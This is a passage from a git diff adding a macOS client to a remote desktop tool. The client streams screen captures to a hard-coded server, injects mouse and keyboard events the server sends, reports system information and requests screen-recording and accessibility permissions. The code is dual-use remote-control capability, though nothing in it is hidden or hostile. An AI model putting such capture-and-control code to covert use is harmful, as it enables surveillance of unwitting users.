WM_LBUTTONUP: + handleMouseButton(kCGMouseButtonLeft, false, x, y); + break; + case WM_LBUTTONDBLCLK: + handleMouseDoubleClick(kCGMouseButtonLeft, x, y); + break; + + // Right button + case WM_RBUTTONDOWN: + handleMouseButton(kCGMouseButtonRight, true, x, y); + break; + case WM_RBUTTONUP: + handleMouseButton(kCGMouseButtonRight, false, x, y); + break; + case WM_RBUTTONDBLCLK: + handleMouseDoubleClick(kCGMouseButtonRight, x, y); + break; + + // Middle button + case WM_MBUTTONDOWN: + handleMouseButton(kCGMouseButtonCenter, true, x, y); + break; + case WM_MBUTTONUP: + handleMouseButton(kCGMouseButtonCenter, false, x, y); + break; + case WM_MBUTTONDBLCLK: + handleMouseDoubleClick(kCGMouseButtonCenter, x, y); + break; + + // Mouse wheel + case WM_MOUSEWHEEL: { + short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam); + handleMouseWheel(delta); + break; + } + + // Keyboard + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + handleKeyEvent((uint32_t)msg->wParam, true); + break; + + case WM_KEYUP: + case WM_SYSKEYUP: + handleKeyEvent((uint32_t)msg->wParam, false); + break; + } +} + +void InputHandler::handleMouseMove(int x, int y) +{ + CGPoint point = CGPointMake(x, y); + m_lastMousePos = point; + + CGEventType eventType = kCGEventMouseMoved; + CGMouseButton button = kCGMouseButtonLeft; + + // If button is held, use drag event + if (m_leftButtonDown) { + eventType = kCGEventLeftMouseDragged; + button = kCGMouseButtonLeft; + } else if (m_rightButtonDown) { + eventType = kCGEventRightMouseDragged; + button = kCGMouseButtonRight; + } else if (m_middleButtonDown) { + eventType = kCGEventOtherMouseDragged; + button = kCGMouseButtonCenter; + } + + CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button); + if (event) { + CGEventPost(kCGHIDEventTap, event); + CFRelease(event); + } +} + +void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y) +{ + CGPoint point = CGPointMake(x, y); + m_lastMousePos = point; + + CGEventType eventType; + + switch (button) { + case kCGMouseButtonLeft: + eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp; + m_leftButtonDown = down; + break; + case kCGMouseButtonRight: + eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp; + m_rightButtonDown = down; + break; + case kCGMouseButtonCenter: + default: + eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp; + m_middleButtonDown = down; + break; + } + + CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button); + if (event) { + CGEventPost(kCGHIDEventTap, event); + CFRelease(event); + } +} + +void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y) +{ + CGPoint point = CGPointMake(x, y); + m_lastMousePos = point; + + CGEventType downType, upType; + + switch (button) { + case kCGMouseButtonLeft: + downType = kCGEventLeftMouseDown; + upType = kCGEventLeftMouseUp; + break; + case kCGMouseButtonRight: + downType = kCGEventRightMouseDown; + upType = kCGEventRightMouseUp; + break; + case kCGMouseButtonCenter: + default: + downType = kCGEventOtherMouseDown; + upType = kCGEventOtherMouseUp; + break; + } + + // First click (clickState=1) + CGEventRef down1 = CGEventCreateMouseEvent(NULL, downType, point, button); + CGEventRef up1 = CGEventCreateMouseEvent(NULL, upType, point, button); + + if (down1 && up1) { + CGEventSetIntegerValueField(down1, kCGMouseEventClickState, 1); + CGEventSetIntegerValueField(up1, kCGMouseEventClickState, 1); + CGEventPost(kCGHIDEventTap, down1); + CGEventPost(kCGHIDEventTap, up1); + } + + if (down1) CFRelease(down1); + if (up1) CFRelease(up1); + + // Brief delay between clicks (50ms) + usleep(50000); + + // Second click (clickState=2) + CGEventRef down2 = CGEventCreateMouseEvent(NULL, downType, point, button); + CGEventRef up2 = CGEventCreateMouseEvent(NULL, upType, point, button); + + if (down2 && up2) { + CGEventSetIntegerValueField(down2, kCGMouseEventClickState, 2); + CGEventSetIntegerValueField(up2, kCGMouseEventClickState, 2); + CGEventPost(kCGHIDEventTap, down2); + CGEventPost(kCGHIDEventTap, up2); + } + + if (down2) CFRelease(down2); + if (up2) CFRelease(up2); +} + +void InputHandler::handleMouseWheel(int delta) +{ + // Convert Windows wheel delta (120 = one notch) to macOS pixel units + // Using pixel units provides smoother scrolling than line units + // Windows: 120 = one standard notch + // macOS: approximately 10 pixels per notch feels natural + int32_t scrollAmount = (delta * 10) / 120; + + // Use pixel units for smoother scrolling experience + CGEventRef event = CGEventCreateScrollWheelEvent( + NULL, + kCGScrollEventUnitPixel, + 1, + scrollAmount + ); + if (event) { + CGEventPost(kCGHIDEventTap, event); + CFRelease(event); + } +} + +void InputHandler::handleKeyEvent(uint32_t vkCode, bool down) +{ + CGKeyCode keyCode = vkToMacKeyCode(vkCode); + if (keyCode == 0xFF) { + return; // Unknown key + } + + // Update modifier flags based on key + CGEventFlags flag = 0; + switch (keyCode) { + case kVK_Shift: + case kVK_RightShift: + flag = kCGEventFlagMaskShift; + break; + case kVK_Control: + case kVK_RightControl: + flag = kCGEventFlagMaskControl; + break; + case kVK_Option: + case kVK_RightOption: + flag = kCGEventFlagMaskAlternate; + break; + case kVK_Command: + case kVK_RightCommand: + flag = kCGEventFlagMaskCommand; + break; + case kVK_CapsLock: + flag = kCGEventFlagMaskAlphaShift; + break; + } + + if (flag) { + CGEventFlags current = m_modifierFlags.load(); + if (down) { + m_modifierFlags.store(current | flag); + } else { + m_modifierFlags.store(current & ~flag); + } + } + + CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down); + if (event) { + // Set current modifier flags to ensure proper key combinations + CGEventSetFlags(event, m_modifierFlags.load()); + CGEventPost(kCGHIDEventTap, event); + CFRelease(event); + } +} + +// Convert Windows VK code to macOS key code +// Reference: Carbon/HIToolbox/Events.h +CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk) +{ + // Letters A-Z (VK 0x41-0x5A) + if (vk >= 0x41 && vk <= 0x5A) { + // macOS key codes for A-Z are not sequential + static const CGKeyCode letterKeys[] = { + kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E, + kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J, + kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O, + kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T, + kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y, + kVK_ANSI_Z + }; + return letterKeys[vk - 0x41]; + } + + // Numbers 0-9 (VK 0x30-0x39) + if (vk >= 0x30 && vk <= 0x39) { + static const CGKeyCode numberKeys[] = { + kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4, + kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9 + }; + return numberKeys[vk - 0x30]; + } + + // Numpad 0-9 (VK 0x60-0x69) + if (vk >= 0x60 && vk <= 0x69) { + static const CGKeyCode numpadKeys[] = { + kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2, + kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5, + kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8, + kVK_ANSI_Keypad9 + }; + return numpadKeys[vk - 0x60]; + } + + // F1-F12 (VK 0x70-0x7B) + if (vk >= 0x70 && vk <= 0x7B) { + static const CGKeyCode fKeys[] = { + kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6, + kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12 + }; + return fKeys[vk - 0x70]; + } + + // Special keys + switch (vk) { + case 0x08: return kVK_Delete; // VK_BACK (Backspace) + case 0x09: return kVK_Tab; // VK_TAB + case 0x0D: return kVK_Return; // VK_RETURN + case 0x10: return kVK_Shift; // VK_SHIFT + case 0x11: return kVK_Control; // VK_CONTROL + case 0x12: return kVK_Option; // VK_MENU (Alt -> Option) + case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent) + case 0x14: return kVK_CapsLock; // VK_CAPITAL + case 0x1B: return kVK_Escape; // VK_ESCAPE + case 0x20: return kVK_Space; // VK_SPACE + case 0x21: return kVK_PageUp; // VK_PRIOR + case 0x22: return kVK_PageDown; // VK_NEXT + case 0x23: return kVK_End; // VK_END + case 0x24: return kVK_Home; // VK_HOME + case 0x25: return kVK_LeftArrow; // VK_LEFT + case 0x26: return kVK_UpArrow; // VK_UP + case 0x27: return kVK_RightArrow; // VK_RIGHT + case 0x28: return kVK_DownArrow; // VK_DOWN + case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen) + case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac) + case 0x2E: return kVK_ForwardDelete; // VK_DELETE + + // Windows keys -> Command + case 0x5B: return kVK_Command; // VK_LWIN + case 0x5C: return kVK_RightCommand; // VK_RWIN + + // Numpad operators + case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY + case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD + case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT + case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL + case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE + + // Lock keys + case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac) + case 0x91: return kVK_F14; // VK_SCROLL + + // Shift variants + case 0xA0: return kVK_Shift; // VK_LSHIFT + case 0xA1: return kVK_RightShift; // VK_RSHIFT + case 0xA2: return kVK_Control; // VK_LCONTROL + case 0xA3: return kVK_RightControl; // VK_RCONTROL + case 0xA4: return kVK_Option; // VK_LMENU + case 0xA5: return kVK_RightOption; // VK_RMENU + + // OEM keys (US keyboard layout) + case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:) + case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+) + case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<) + case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_) + case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>) + case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?) + case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~) + case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{) + case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|) + case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]}) + case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('") + + default: + return 0xFF; // Unknown key + } +} diff --git a/macos/Permissions.h b/macos/Permissions.h new file mode 100644 index 0000000..a2adf35 --- /dev/null +++ b/macos/Permissions.h @@ -0,0 +1,36 @@ +#pragma once + +#import +#import +#import + +class Permissions { +public: + // Check if screen recording permission is granted + // Returns true if granted, false otherwise + static bool checkScreenCapture(); + + // Request screen recording permission (shows system dialog, macOS 10.15+) + static void requestScreenCapture(); + + // Check if accessibility permission is granted (for input simulation) + // Returns true if granted, false otherwise + static bool checkAccessibility(); + + // Request accessibility permission (shows system dialog) + static void requestAccessibility(); + + // Open System Preferences to Screen Recording settings + static void openScreenCaptureSettings(); + + // Open System Preferences to Accessibility settings + static void openAccessibilitySettings(); + + // Check all required permissions + // Returns true if all permissions are granted + static bool checkAllPermissions(); + + // Wait for permissions to be granted (blocking) + // Returns true if all granted within timeout, false otherwise + static bool waitForPermissions(int timeoutSeconds); +}; diff --git a/macos/Permissions.mm b/macos/Permissions.mm new file mode 100644 index 0000000..e5261e3 --- /dev/null +++ b/macos/Permissions.mm @@ -0,0 +1,64 @@ +#import "Permissions.h" +#import +#import +#import + +bool Permissions::checkScreenCapture() { + // macOS 10.15+ requires screen recording permission + if (@available(macOS 10.15, *)) { + // Use CGPreflightScreenCaptureAccess for reliable permission check + // This API is available since macOS 10.15 + return CGPreflightScreenCaptureAccess(); + } + + // Before 10.15, no permission needed + return true; +} + +void Permissions::requestScreenCapture() { + if (@available(macOS 10.15, *)) { + // Trigger system permission dialog + CGRequestScreenCaptureAccess(); + } +} + +bool Permissions::checkAccessibility() { + return AXIsProcessTrusted(); +} + +void Permissions::requestAccessibility() { + NSDictionary *options = @{ + (__bridge id)kAXTrustedCheckOptionPrompt: @YES + }; + AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options); +} + +void Permissions::openScreenCaptureSettings() { + if (@available(macOS 10.15, *)) { + // Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording + NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"]; + [[NSWorkspace sharedWorkspace] openURL:url]; + } +} + +void Permissions::openAccessibilitySettings() { + // Open System Preferences -> Security & Privacy -> Privacy -> Accessibility + NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"]; + [[NSWorkspace sharedWorkspace] openURL:url]; +} + +bool Permissions::checkAllPermissions() { + return checkScreenCapture() && checkAccessibility(); +} + +bool Permissions::waitForPermissions(int timeoutSeconds) { + int elapsed = 0; + while (elapsed < timeoutSeconds) { + if (checkAllPermissions()) { + return true; + } + [NSThread sleepForTimeInterval:1.0]; + elapsed++; + } + return false; +} diff --git a/macos/README.txt b/macos/README.txt new file mode 100644 index 0000000..d71d518 --- /dev/null +++ b/macos/README.txt @@ -0,0 +1,61 @@ +macOS Remote Desktop Client +=========================== + +Prerequisites: + 1. Xcode Command Line Tools: xcode-select --install + 2. CMake: brew install cmake + +Build: + chmod +x build.sh + ./build.sh + +Or manually: + mkdir build && cd build + cmake .. + make + +Run: + ./build/bin/ghost + +Configuration: + Server address is configured in main.mm (g_SETTINGS variable). + Modify before building if needed. + +Permissions Required: + 1. Screen Recording - System Settings > Privacy & Security > Screen Recording + 2. Accessibility - System Settings > Privacy & Security > Accessibility + +Features: + [x] Screen capture (CGDisplayCreateImage) + [x] H264 video encoding (VideoToolbox) + [x] Mouse control (move, click, drag, scroll) + [x] Keyboard control (full VK code mapping) + [x] Retina display support (coordinate scaling) + [x] Network connection (IOCPClient) + [x] LOGIN_INFOR (system info reporting) + [x] Heartbeat with RTT estimation + [x] Active window tracking + [x] Quality level adjustment (FPS/algorithm) + +Files: + CMakeLists.txt - Build configuration + Permissions.h/mm - macOS permission handling + ScreenHandler.h/mm - Screen capture and H264 encoding + InputHandler.h/mm - Mouse/keyboard simulation + H264Encoder.h/mm - VideoToolbox H264 encoder + SystemManager.h/mm - Process management + main.mm - Entry point, LOGIN_INFOR, heartbeat + +Quality Levels: + Level 0: 5 FPS, Grayscale (emergency low bandwidth) + Level 1: 10 FPS, RGB565 + Level 2: 15 FPS, H264 (default, office work) + Level 3: 20 FPS, H264 + Level 4: 25 FPS, H264 + Level 5: 30 FPS, H264 (smooth) + +Notes: + - First frame is always raw bitmap (TOKEN_FIRSTSCREEN) + - Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN) + - Coordinates are scaled for Retina displays automatically + - Windows VK codes are mapped to macOS key codes diff --git a/macos/ScreenHandler.h b/macos/ScreenHandler.h new file mode 100644 index 0000000..dea7062 --- /dev/null +++ b/macos/ScreenHandler.h @@ -0,0 +1,129 @@ +#pragma once + +#import +#import +#import "../client/IOCPClient.h" +#include +#include +#include +#include +#include +#include + +// Forward declarations +class IOCPClient; +class H264Encoder; +class InputHandler; + +// macOS BITMAPINFOHEADER (compatible with Windows) +#pragma pack(push, 1) +struct BITMAPINFOHEADER_MAC { + uint32_t biSize; // 40 + int32_t biWidth; + int32_t biHeight; + uint16_t biPlanes; // 1 + uint16_t biBitCount; // 32 + uint32_t biCompression; // 0 (BI_RGB) + uint32_t biSizeImage; + int32_t biXPelsPerMeter; // 0 + int32_t biYPelsPerMeter; // 0 + uint32_t biClrUsed; // 0 + uint32_t biClrImportant; // 0 +}; +#pragma pack(pop) + +// Screen algorithm constants +#define ALGORITHM_GRAY 0 +#define ALGORITHM_DIFF 1 +#define ALGORITHM_H264 2 +#define ALGORITHM_RGB565 3 + +class ScreenHandler : public IOCPManager { +public: + ScreenHandler(IOCPClient* client); + ~ScreenHandler(); + + // Initialize screen capture (returns false if permission denied) + bool init(); + + // Start/stop capture loop + void start(IOCPClient* client, uint64_t clientID); + void stop(); + + // Check if running + bool isRunning() const { return m_running; } + + // Get screen dimensions + int getWidth() const { return m_width; } + int getHeight() const { return m_height; } + + // Send bitmap info to server (called after connection) + void sendBitmapInfo(); + + // Handle received commands + void OnReceive(uint8_t* data, ULONG size); + + // Apply quality level + void applyQualityLevel(int8_t level, bool persist = false); + +private: + // Capture the screen (returns BGRA data, bottom-up) + bool captureScreen(std::vector& buffer); + + // Send first full screen frame + void sendFirstScreen(); + + // Send differential frame + void sendDiffFrame(); + + // Send H264 encoded frame + void sendH264Frame(bool keyframe); + + // Compare bitmaps and generate diff data + uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev, + uint8_t* outBuf, uint32_t totalBytes, uint8_t algo); + + // Color conversion helpers + void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount); + void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount); + + // Capture loop thread function + void captureLoop(); + + // Get current time in milliseconds + static uint64_t getTickMs(); + +private: + IOCPClient* m_client; + uint64_t m_clientID; + + std::atomic m_running; + std::thread m_captureThread; + std::mutex m_mutex; + + // Screen info + int m_width; // Physical pixel width (sent to server) + int m_height; // Physical pixel height (sent to server) + int m_logicalWidth; // Logical point width (for CGEvent) + int m_logicalHeight; // Logical point height (for CGEvent) + double m_scaleFactor; // Retina scale factor (physical / logical) + CGDirectDisplayID m_displayID; + + // Protocol + BITMAPINFOHEADER_MAC m_bmpHeader; + std::vector m_prevFrame; + std::vector m_currFrame; + std::vector m_diffBuffer; + + // Quality settings + std::atomic m_algorithm; + std::atomic m_maxFPS; + int8_t m_qualityLevel; + + // H264 encoder + std::unique_ptr m_h264Encoder; + int m_h264Bitrate; + + // Input handler for mouse/keyboard control + std::unique_ptr m_inputHandler; +}; diff --git a/macos/ScreenHandler.mm b/macos/ScreenHandler.mm new file mode 100644 index 0000000..de8b9a4 --- /dev/null +++ b/macos/ScreenHandler.mm @@ -0,0 +1,574 @@ +#import "ScreenHandler.h" +#import "H264Encoder.h" +#import "InputHandler.h" +#import "../client/IOCPClient.h" +#import "../common/commands.h" +#import "Permissions.h" +#import +#import +#import + +// Global client ID (calculated in main.mm) +extern uint64_t g_myClientID; + +ScreenHandler::ScreenHandler(IOCPClient* client) + : m_client(client) + , m_clientID(0) + , m_running(false) + , m_width(0) + , m_height(0) + , m_logicalWidth(0) + , m_logicalHeight(0) + , m_scaleFactor(1.0) + , m_displayID(CGMainDisplayID()) + , m_algorithm(ALGORITHM_H264) + , m_maxFPS(15) + , m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility + , m_h264Bitrate(2000000) // 2 Mbps default +{ + memset(&m_bmpHeader, 0, sizeof(m_bmpHeader)); + + // Initialize input handler for mouse/keyboard control + m_inputHandler = std::make_unique(); + if (m_inputHandler->init()) { + NSLog(@"InputHandler initialized with accessibility permission"); + } else { + NSLog(@"InputHandler: waiting for accessibility permission"); + } +} + +ScreenHandler::~ScreenHandler() +{ + stop(); +} + +bool ScreenHandler::init() +{ + // Check permissions + if (!Permissions::checkScreenCapture()) { + NSLog(@"Screen capture permission not granted"); + return false; + } + + // Get main display info + m_displayID = CGMainDisplayID(); + + // Get physical pixel dimensions (what we capture and send) + CGDisplayModeRef mode = CGDisplayCopyDisplayMode(m_displayID); + if (mode) { + m_width = (int)CGDisplayModeGetPixelWidth(mode); + m_height = (int)CGDisplayModeGetPixelHeight(mode); + CGDisplayModeRelease(mode); + } else { + m_width = (int)CGDisplayPixelsWide(m_displayID); + m_height = (int)CGDisplayPixelsHigh(m_displayID); + } + + // Get logical point dimensions (what CGEvent uses) + // NSScreen provides logical dimensions + NSScreen* mainScreen = [NSScreen mainScreen]; + if (mainScreen) { + NSRect frame = [mainScreen frame]; + m_logicalWidth = (int)frame.size.width; + m_logicalHeight = (int)frame.size.height; + } else { + // Fallback: use physical dimensions + m_logicalWidth = m_width; + m_logicalHeight = m_height; + } + + // Calculate scale factor (Retina displays have factor > 1.0) + m_scaleFactor = (double)m_width / (double)m_logicalWidth; + + NSLog(@"Screen dimensions: physical=%dx%d, logical=%dx%d, scale=%.2f", + m_width, m_height, m_logicalWidth, m_logicalHeight, m_scaleFactor); + + if (m_width <= 0 || m_height <= 0) { + NSLog(@"Invalid screen dimensions: %dx%d", m_width, m_height); + return false; + } + + // Initialize BITMAPINFOHEADER + m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC); + m_bmpHeader.biWidth = m_width; + m_bmpHeader.biHeight = m_height; + m_bmpHeader.biPlanes = 1; + m_bmpHeader.biBitCount = 32; + m_bmpHeader.biCompression = 0; // BI_RGB + m_bmpHeader.biSizeImage = m_width * m_height * 4; + + // Allocate frame buffers + m_prevFrame.resize(m_bmpHeader.biSizeImage, 0); + m_currFrame.resize(m_bmpHeader.biSizeImage, 0); + m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2); + + NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height); + return true; +} + +void ScreenHandler::start(IOCPClient* client, uint64_t clientID) +{ + if (m_running) return; + + m_client = client; + m_clientID = clientID; + m_running = true; + + m_captureThread = std::thread(&ScreenHandler::captureLoop, this); +} + +void ScreenHandler::stop() +{ + m_running = false; + if (m_captureThread.joinable()) { + m_captureThread.join(); + } + + // Close H264 encoder if open + if (m_h264Encoder) { + m_h264Encoder->close(); + m_h264Encoder.reset(); + } +} + +void ScreenHandler::sendBitmapInfo() +{ + if (!m_client) return; + + // Build packet: [TOKEN_BITMAPINFO][BITMAPINFOHEADER][clientID][reserved][ScreenSettings] + // ScreenSettings defined in commands.h (100 bytes), QualityLevel at offset 32 + + const uint32_t len = 1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings); + std::vector buf(len, 0); + + buf[0] = TOKEN_BITMAPINFO; + memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_MAC)); + uint64_t clientID = g_myClientID; + memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC)], &clientID, sizeof(uint64_t)); + + ScreenSettings settings = {}; + settings.MaxFPS = m_maxFPS.load(); + settings.QualityLevel = m_qualityLevel; // Fixed quality level (e.g., QUALITY_GOOD = 2) + memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings)); + + m_client->Send2Server((char*)buf.data(), len); + NSLog(@"SendBitmapInfo: clientID=%llu, QualityLevel=%d, SettingsSize=%zu", + clientID, m_qualityLevel, sizeof(ScreenSettings)); +} + +void ScreenHandler::OnReceive(uint8_t* data, ULONG size) +{ + if (!size) return; + + switch (data[0]) { + case COMMAND_NEXT: + // Server ready, handled externally + NSLog(@"Received COMMAND_NEXT from server"); + if (!m_running) { + start(m_client, g_myClientID); + } + break; + + case COMMAND_SCREEN_CONTROL: + // Handle mouse/keyboard control commands + // Protocol: [COMMAND_SCREEN_CONTROL:1][MSG64:48] + if (size >= 1 + sizeof(MSG64_MAC) && m_inputHandler) { + MSG64_MAC msg; + memcpy(&msg, data + 1, sizeof(MSG64_MAC)); + + // Convert physical pixel coordinates to logical point coordinates + // Server sends coordinates in physical pixels (matching our captured screen) + // CGEvent expects logical points (for Retina displays, physical/scale) + if (m_scaleFactor > 1.0) { + // Extract coordinates from lParam (MAKELPARAM format: low=x, high=y) + int x = (int)(msg.lParam & 0xFFFF); + int y = (int)((msg.lParam >> 16) & 0xFFFF); + + // Scale down to logical coordinates + x = (int)(x / m_scaleFactor); + y = (int)(y / m_scaleFactor); + + // Update lParam with scaled coordinates + msg.lParam = (uint64_t)x | ((uint64_t)y << 16); + msg.pt_x = x; + msg.pt_y = y; + } + + m_inputHandler->handleInputEvent(&msg); + } + break; + + case CMD_QUALITY_LEVEL: + if (size >= 2) { + int8_t level = (int8_t)data[1]; + bool persist = (size >= 3) ? data[2] : false; + applyQualityLevel(level, persist); + } + break; + + default: + break; + } +} + +void ScreenHandler::applyQualityLevel(int8_t level, bool persist) +{ + m_qualityLevel = level; + + if (level == QUALITY_DISABLED) { + NSLog(@"Quality: Disabled"); + return; + } + + // Quality profiles: [FPS, Algorithm] + // H264 provides best compression for remote desktop + // Note: macOS uses slightly higher FPS than Windows for smoother experience + static const int profiles[QUALITY_COUNT][2] = { + {5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth) + {10, ALGORITHM_RGB565}, // Level 1: Low + {15, ALGORITHM_H264}, // Level 2: Medium (office work default) + {20, ALGORITHM_H264}, // Level 3: Good + {25, ALGORITHM_H264}, // Level 4: High + {30, ALGORITHM_H264}, // Level 5: Smooth + }; + + if (level >= 0 && level < QUALITY_COUNT) { + m_maxFPS.store(profiles[level][0]); + m_algorithm.store(profiles[level][1]); + NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]); + } else { + NSLog(@"Quality: Adaptive mode"); + } +} + +bool ScreenHandler::captureScreen(std::vector& buffer) +{ + // Create image from display + CGImageRef image = CGDisplayCreateImage(m_displayID); + if (!image) { + NSLog(@"Failed to capture screen image"); + return false; + } + + size_t width = CGImageGetWidth(image); + size_t height = CGImageGetHeight(image); + + if (width != (size_t)m_width || height != (size_t)m_height) { + // Screen resolution changed, need to reinitialize + CGImageRelease(image); + NSLog(@"Screen resolution changed: %zux%zu", width, height); + return false; + } + + // Create bitmap context to get raw pixel data + CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB(); + size_t bytesPerRow = width * 4; + + // Temporary buffer for top-down BGRA + std::vector tempBuffer(bytesPerRow * height); + + CGContextRef context = CGBitmapContextCreate( + tempBuffer.data(), + width, + height, + 8, + bytesPerRow, + colorSpace, + kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA + ); + + CGColorSpaceRelease(colorSpace); + + if (!context) { + CGImageRelease(image); + NSLog(@"Failed to create bitmap context"); + return false; + } + + // Draw image into context + CGContextDrawImage(context, CGRectMake(0, 0, width, height), image); + CGContextRelease(context); + CGImageRelease(image); + + // Flip vertically (BMP is bottom-up, CGImage is top-down) + for (size_t y = 0; y < height; y++) { + size_t srcRow = y; + size_t dstRow = height - 1 - y; + memcpy(buffer.data() + dstRow * bytesPerRow, + tempBuffer.data() + srcRow * bytesPerRow, + bytesPerRow); + } + + return true; +} + +void ScreenHandler::sendFirstScreen() +{ + if (!captureScreen(m_currFrame)) return; + if (!m_client) return; + + uint32_t imgSize = m_bmpHeader.biSizeImage; + std::vector buf(1 + imgSize); + buf[0] = TOKEN_FIRSTSCREEN; + memcpy(&buf[1], m_currFrame.data(), imgSize); + + m_client->Send2Server((char*)buf.data(), buf.size()); + + // Save as previous frame + m_prevFrame = m_currFrame; +} + +void ScreenHandler::sendDiffFrame() +{ + if (!captureScreen(m_currFrame)) return; + if (!m_client) return; + + uint8_t* out = m_diffBuffer.data(); + out[0] = TOKEN_NEXTSCREEN; + uint8_t* data = out + 1; + + // Write algorithm type + uint8_t algo = m_algorithm.load(); + memcpy(data, &algo, sizeof(uint8_t)); + + // Write cursor position (simple 0 for now) + int32_t cursorX = 0, cursorY = 0; + memcpy(data + 1, &cursorX, sizeof(int32_t)); + memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t)); + + // Write cursor type + uint8_t cursorType = 0; + memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t)); + + uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; + uint8_t* diffData = data + headerSize; + uint32_t diffLen = compareBitmap(m_currFrame.data(), m_prevFrame.data(), + diffData, m_bmpHeader.biSizeImage, algo); + + uint32_t totalLen = 1 + headerSize + diffLen; + m_client->Send2Server((char*)out, totalLen); + + // Update previous frame + std::swap(m_prevFrame, m_currFrame); +} + +void ScreenHandler::sendH264Frame(bool keyframe) +{ + if (!captureScreen(m_currFrame)) return; + if (!m_client) return; + + // Initialize encoder if needed + if (!m_h264Encoder) { + m_h264Encoder = std::make_unique(); + int fps = m_maxFPS.load(); + if (fps <= 0) fps = 30; + if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) { + NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError()); + m_h264Encoder.reset(); + return; + } + NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps); + } + + // Force keyframe if requested + if (keyframe) { + m_h264Encoder->forceKeyframe(); + } + + // Encode frame + uint8_t* encodedData = nullptr; + uint32_t encodedSize = 0; + uint32_t stride = m_width * 4; + + int result = m_h264Encoder->encode( + m_currFrame.data(), + 32, // bpp + stride, + m_width, + m_height, + &encodedData, + &encodedSize, + false // Don't flip - keep bottom-up format like Windows client + ); + + if (result <= 0 || !encodedData || encodedSize == 0) { + return; + } + + // Build packet: [TOKEN_NEXTSCREEN][ALGORITHM_H264][CursorX][CursorY][CursorType][H264Data] + // Note: H264 always uses TOKEN_NEXTSCREEN because: + // - Server's TOKEN_KEYFRAME handler does nothing for H264 (just break) + // - Server's TOKEN_NEXTSCREEN handler calls Decode() for H264 + // - H264 encoder manages keyframes (I-frames) internally + // - FFmpeg decoder auto-detects I-frames vs 